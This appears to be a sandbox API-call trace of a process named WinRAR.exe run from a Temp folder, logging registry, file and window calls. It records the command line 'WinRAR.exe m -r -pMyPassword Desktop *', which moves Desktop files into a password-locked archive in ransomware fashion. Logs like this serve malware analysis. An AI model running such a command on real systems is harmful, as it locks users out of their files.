0x77c384f0 [0049.848] GetProcAddress (hModule=0x77ae0000, lpProcName="SleepConditionVariableCS") returned 0x77b2b230 [0049.848] GetProcAddress (hModule=0x77ae0000, lpProcName="WakeAllConditionVariable") returned 0x77c200b0 [0049.848] RtlInitializeConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0049.848] QueryPerformanceFrequency (in: lpFrequency=0x1dfa40 | out: lpFrequency=0x1dfa40*=100000000) returned 1 [0049.848] QueryPerformanceCounter (in: lpPerformanceCount=0x1dfa48 | out: lpPerformanceCount=0x1dfa48*=12518867803) returned 1 [0049.848] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1000) returned 0x2ba520 [0049.848] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x13f251a80) returned 0x0 [0049.849] GetCurrentProcess () returned 0xffffffffffffffff [0049.849] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1df930, lpSystemAffinityMask=0x1df938 | out: lpProcessAffinityMask=0x1df930, lpSystemAffinityMask=0x1df938) returned 1 [0049.850] GetCurrentProcess () returned 0xffffffffffffffff [0049.850] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1df940, lpSystemAffinityMask=0x1df948 | out: lpProcessAffinityMask=0x1df940, lpSystemAffinityMask=0x1df948) returned 1 [0049.850] GetCurrentProcess () returned 0xffffffffffffffff [0049.850] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1df970, lpSystemAffinityMask=0x1df978 | out: lpProcessAffinityMask=0x1df970, lpSystemAffinityMask=0x1df978) returned 1 [0049.851] GetCurrentProcess () returned 0xffffffffffffffff [0049.851] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1df970, lpSystemAffinityMask=0x1df978 | out: lpProcessAffinityMask=0x1df970, lpSystemAffinityMask=0x1df978) returned 1 [0049.851] GetSystemMetrics (nIndex=7) returned 3 [0049.876] GetSystemMetrics (nIndex=8) returned 3 [0049.878] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x1dfa10 | out: lpCPInfo=0x1dfa10) returned 1 [0049.881] GetDC (hWnd=0x0) returned 0xf01083e [0049.881] GetDeviceCaps (hdc=0xf01083e, index=90) returned 96 [0049.881] ReleaseDC (hWnd=0x0, hDC=0xf01083e) returned 1 [0049.881] GetDC (hWnd=0x0) returned 0x1e0107f2 [0049.881] GetDeviceCaps (hdc=0x1e0107f2, index=88) returned 96 [0049.881] ReleaseDC (hWnd=0x0, hDC=0x1e0107f2) returned 1 [0049.881] GetStartupInfoW (in: lpStartupInfo=0x1df9f0 | out: lpStartupInfo=0x1df9f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0049.881] GetModuleHandleW (lpModuleName="kernel32") returned 0x77ae0000 [0049.882] GetProcAddress (hModule=0x77ae0000, lpProcName="SetDllDirectoryW") returned 0x77b2d8c0 [0049.882] SetDllDirectoryW (lpPathName="") returned 1 [0049.882] GetProcAddress (hModule=0x77ae0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0049.882] SetErrorMode (uMode=0x8005) returned 0x0 [0049.882] GetCurrentProcess () returned 0xffffffffffffffff [0049.882] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1dc8b0, lpSystemAffinityMask=0x1dc8b8 | out: lpProcessAffinityMask=0x1dc8b0, lpSystemAffinityMask=0x1dc8b8) returned 1 [0049.882] GetCurrentThreadId () returned 0x6a8 [0049.882] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xc0 [0049.882] RegisterClipboardFormatW (lpszFormat="WMUser_DisplayError") returned 0xc13e [0049.882] GetModuleHandleExW (in: dwFlags=0x6, lpModuleName=0x13f1fcf8c, phModule=0x1dbb60 | out: phModule=0x1dbb60*=0x13f160000) returned 1 [0049.882] GetModuleFileNameW (in: hModule=0x13f160000, lpFilename=0x13f2e9740, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0049.882] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.ini" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.ini")) returned 0xffffffff [0049.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.ini" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.ini")) returned 0xffffffff [0049.883] SHGetMalloc (in: ppMalloc=0x1dbae0 | out: ppMalloc=0x1dbae0*=0x7fefe535380) returned 0x0 [0049.883] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1dbb28 | out: ppidl=0x1dbb28) returned 0x0 [0051.578] SHGetPathFromIDListW (in: pidl=0x2e2450, pszPath=0x13f2e9740 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0051.579] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0051.579] IMalloc:Free (This=0x7fefe535380, pv=0x2e2450) [0051.579] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\WinRAR.ini" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\winrar.ini")) returned 0xffffffff [0051.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\WinRAR.ini" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\winrar.ini")) returned 0xffffffff [0051.579] GetLastError () returned 0x2 [0051.579] SetLastError (dwErrCode=0x2) [0051.579] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0x1dbcf0 | out: phkResult=0x1dbcf0*=0x0) returned 0x2 [0051.579] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x1dc910 | out: phkResult=0x1dc910*=0x0) returned 0x2 [0051.579] SHGetMalloc (in: ppMalloc=0x1dc8b0 | out: ppMalloc=0x1dc8b0*=0x7fefe535380) returned 0x0 [0051.579] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1dc8f8 | out: ppidl=0x1dc8f8) returned 0x0 [0051.579] SHGetPathFromIDListW (in: pidl=0x2e2450, pszPath=0x1dda30 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0051.580] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0051.580] IMalloc:Free (This=0x7fefe535380, pv=0x2e2450) [0051.580] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1db910, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0051.580] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0x1d9778 | out: phkResult=0x1d9778*=0x0) returned 0x2 [0051.580] GetVersionExW (in: lpVersionInformation=0x1db7f0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1db7f0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0051.580] LoadLibraryExW (lpLibFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\rarlng.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0051.580] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0x1d98a8 | out: phkResult=0x1d98a8*=0x0) returned 0x2 [0051.580] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d88b0, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0051.580] CreateFileW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\winrar.lng" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0051.581] GetLastError () returned 0x2 [0051.581] CreateFileW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\winrar.lng" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0051.581] GetLastError () returned 0x2 [0051.581] FindResourceW (hModule=0x13f160000, lpName="RTL", lpType=0x5) returned 0x0 [0051.581] LoadIconW (hInstance=0x13f160000, lpIconName=0x65) returned 0x90075 [0051.581] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0051.581] RegisterClassW (lpWndClass=0x1dc9b0) returned 0xc140 [0051.582] RegisterClassW (lpWndClass=0x1dc9b0) returned 0xc141 [0051.582] RegisterClassW (lpWndClass=0x1dc9b0) returned 0xc142 [0051.582] RegisterClassW (lpWndClass=0x1dc9b0) returned 0xc143 [0051.582] RegisterClassW (lpWndClass=0x1dc9b0) returned 0xc144 [0051.582] GetSystemDirectoryW (in: lpBuffer=0x1db8d0, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0051.582] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\riched20.dll") returned 0x7fef7980000 [0052.028] OleInitialize (pvReserved=0x0) returned 0x0 [0052.029] InitCommonControlsEx (picce=0x1dc940) returned 1 [0052.030] GdiplusStartup (in: token=0x1dc948, input=0x1dc910, output=0x0 | out: token=0x1dc948, output=0x0) returned 0x0 [0052.031] SHGetMalloc (in: ppMalloc=0x13f30aa30 | out: ppMalloc=0x13f30aa30*=0x7fefe535380) returned 0x0 [0052.032] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xa468) returned 0x2e6e00 [0052.032] GetCurrentProcess () returned 0xffffffffffffffff [0052.032] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x1dc7f0, lpSystemAffinityMask=0x1dc7f8 | out: lpProcessAffinityMask=0x1dc7f0, lpSystemAffinityMask=0x1dc7f8) returned 1 [0052.032] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xc0) returned 0x2c2bb0 [0052.032] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x2058) returned 0x2f1270 [0052.033] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xd110) returned 0x2f32d0 [0052.033] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x4000) returned 0x3003f0 [0052.033] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x4060) returned 0x304400 [0052.033] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xa758) returned 0x308470 [0052.034] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xa0f0) returned 0x312bd0 [0052.034] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x5080) returned 0x31ccd0 [0052.034] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x2c20) returned 0x321d60 [0052.034] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20a0) returned 0x324990 [0052.035] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x4000) returned 0x326a40 [0052.035] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x8560) returned 0x32aa50 [0052.035] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x4000) returned 0x332fc0 [0052.035] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x4ec0) returned 0x336fd0 [0052.035] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x28) returned 0x2c5ab0 [0052.035] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x2190) returned 0x33bea0 [0052.036] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x4000) returned 0x33e040 [0052.036] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x6a258) returned 0x28a0080 [0052.037] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x4000) returned 0x342050 [0052.037] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20a0) returned 0x346060 [0052.037] GetLastError () returned 0x0 [0052.037] SetLastError (dwErrCode=0x0) [0052.037] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles", ulOptions=0x0, samDesired=0x1, phkResult=0x1dbcb0 | out: phkResult=0x1dbcb0*=0xec) returned 0x0 [0052.037] RegCloseKey (hKey=0xec) returned 0x0 [0052.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1db914 | out: lpSystemTimeAsFileTime=0x1db914*(dwLowDateTime=0x31cd7de0, dwHighDateTime=0x1d4e94c)) [0052.037] GetLastError () returned 0x0 [0052.037] SetLastError (dwErrCode=0x0) [0052.037] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x1dabb0 | out: phkResult=0x1dabb0*=0x0) returned 0x2 [0052.037] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x1db890 | out: phkResult=0x1db890*=0x0) returned 0x2 [0052.037] SHGetMalloc (in: ppMalloc=0x1db830 | out: ppMalloc=0x1db830*=0x7fefe535380) returned 0x0 [0052.038] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1db878 | out: ppidl=0x1db878) returned 0x0 [0052.038] SHGetPathFromIDListW (in: pidl=0x2e2450, pszPath=0x1db920 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0052.038] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0052.038] IMalloc:Free (This=0x7fefe535380, pv=0x2e2450) [0052.038] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x58) returned 0x2e1540 [0052.038] CreateFileW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\version.dat" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\version.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1db708, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0052.038] GetLastError () returned 0x2 [0052.038] GetLastError () returned 0x2 [0052.038] SetLastError (dwErrCode=0x2) [0052.038] GetLastError () returned 0x2 [0052.038] SetLastError (dwErrCode=0x2) [0052.038] GetLastError () returned 0x2 [0052.039] SetLastError (dwErrCode=0x2) [0052.039] GetLastError () returned 0x2 [0052.039] SetLastError (dwErrCode=0x2) [0052.039] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1db3f8, lpdwDisposition=0x1db3f0 | out: phkResult=0x1db3f8*=0xec, lpdwDisposition=0x1db3f0*=0x1) returned 0x0 [0052.039] RegSetValueExW (in: hKey=0xec, lpValueName="VerInfo", Reserved=0x0, dwType=0x3, lpData=0x1db910*, cbData=0xc | out: lpData=0x1db910*) returned 0x0 [0052.039] RegCloseKey (hKey=0xec) returned 0x0 [0052.039] CreateFileW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\version.dat" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\version.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x1db708, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0052.245] GetFileType (hFile=0x160) returned 0x1 [0052.245] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1000) returned 0x2c9e20 [0052.245] WriteFile (in: hFile=0x160, lpBuffer=0x2c9e20*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x1db774, lpOverlapped=0x0 | out: lpBuffer=0x2c9e20*, lpNumberOfBytesWritten=0x1db774*=0xc, lpOverlapped=0x0) returned 1 [0052.245] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2c9e20 | out: hHeap=0x290000) returned 1 [0052.245] CloseHandle (hObject=0x160) returned 1 [0052.246] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="WinRAR_Busy") returned 0x160 [0052.246] FindWindowW (lpClassName="WinRarWindow", lpWindowName=0x0) returned 0x201d2 [0052.246] CreateWindowExW (dwExStyle=0x10, lpClassName="WinRarWindow", lpWindowName="WinRAR", dwStyle=0x6cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x13f160000, lpParam=0x0) returned 0x201e6 [0052.246] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc075 [0052.246] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x24, wParam=0x0, lParam=0x1dc3c0) returned 0x0 [0052.246] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x81, wParam=0x0, lParam=0x1dc370) returned 0x1 [0052.247] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x83, wParam=0x0, lParam=0x1dc3e0) returned 0x0 [0052.248] LoadMenuW (hInstance=0x13f160000, lpMenuName="MAIN_MENU") returned 0x101df [0052.249] GetMenuItemInfoW (in: hmenu=0x101df, item=0x0, fByPosition=1, lpmii=0x1d9a30 | out: lpmii=0x1d9a30) returned 1 [0052.249] SetMenuItemInfoW (hmenu=0x101df, item=0x0, fByPositon=1, lpmii=0x1d9a30) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0x0, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e1, item=0x0, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0x1, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e1, item=0x1, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0x2, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e1, item=0x2, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e3, item=0x0, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e3, item=0x1, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 0 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0x3, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e1, item=0x3, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0x4, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0x5, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e1, item=0x5, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0x6, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e1, item=0x6, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0x7, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e1, item=0x7, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0x8, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0x9, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e1, item=0x9, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0xa, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e1, item=0xa, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0xb, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e1, item=0xb, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0xc, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e1, item=0xc, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0xd, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0xe, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e1, item=0xe, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e1, item=0xf, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 0 [0052.250] GetMenuItemInfoW (in: hmenu=0x101df, item=0x1, fByPosition=1, lpmii=0x1d9a30 | out: lpmii=0x1d9a30) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101df, item=0x1, fByPositon=1, lpmii=0x1d9a30) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e5, item=0x0, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e5, item=0x0, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e5, item=0x1, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e5, item=0x1, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e5, item=0x2, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e5, item=0x2, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e5, item=0x3, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e5, item=0x4, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e5, item=0x4, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e5, item=0x5, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e5, item=0x5, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.250] GetMenuItemInfoW (in: hmenu=0x101e5, item=0x6, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.250] SetMenuItemInfoW (hmenu=0x101e5, item=0x6, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e5, item=0x7, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e5, item=0x7, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e5, item=0x8, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e5, item=0x9, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e5, item=0x9, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e5, item=0xa, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e5, item=0xa, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e5, item=0xb, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e5, item=0xb, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e5, item=0xc, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e5, item=0xc, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e5, item=0xd, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 0 [0052.251] GetMenuItemInfoW (in: hmenu=0x101df, item=0x2, fByPosition=1, lpmii=0x1d9a30 | out: lpmii=0x1d9a30) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101df, item=0x2, fByPositon=1, lpmii=0x1d9a30) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e7, item=0x0, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e7, item=0x0, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e7, item=0x1, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e7, item=0x2, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e7, item=0x2, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e7, item=0x3, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e7, item=0x3, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e7, item=0x4, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e7, item=0x4, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e7, item=0x5, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e7, item=0x5, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e7, item=0x6, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e7, item=0x7, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] 